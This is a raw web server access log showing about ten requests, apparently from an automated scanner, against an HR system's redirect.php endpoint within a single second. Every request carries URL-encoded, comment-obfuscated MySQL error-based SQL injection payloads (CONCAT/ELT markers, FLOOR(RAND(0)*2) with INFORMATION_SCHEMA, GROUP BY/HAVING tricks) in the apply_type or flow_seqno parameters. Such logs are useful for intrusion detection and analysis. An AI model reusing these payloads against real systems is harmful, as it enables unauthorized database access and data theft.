100.64.0.1 - - [07/Sep/2025:02:23:26 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x4a627434%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x655a5443%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:26 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x4a627434%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x655a5443%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:23:26 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x7a665734%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5a6f6a79%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:26 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x7a665734%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5a6f6a79%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:23:26 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x36714474%2C%28NULL%29%2C0x71574747%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:26 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x36714474%2C%28NULL%29%2C0x71574747%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:23:26 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x69575356%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6131544d%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:26 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x69575356%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6131544d%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:23:26 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x59744143%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x33357a69%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:26 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x59744143%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x33357a69%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154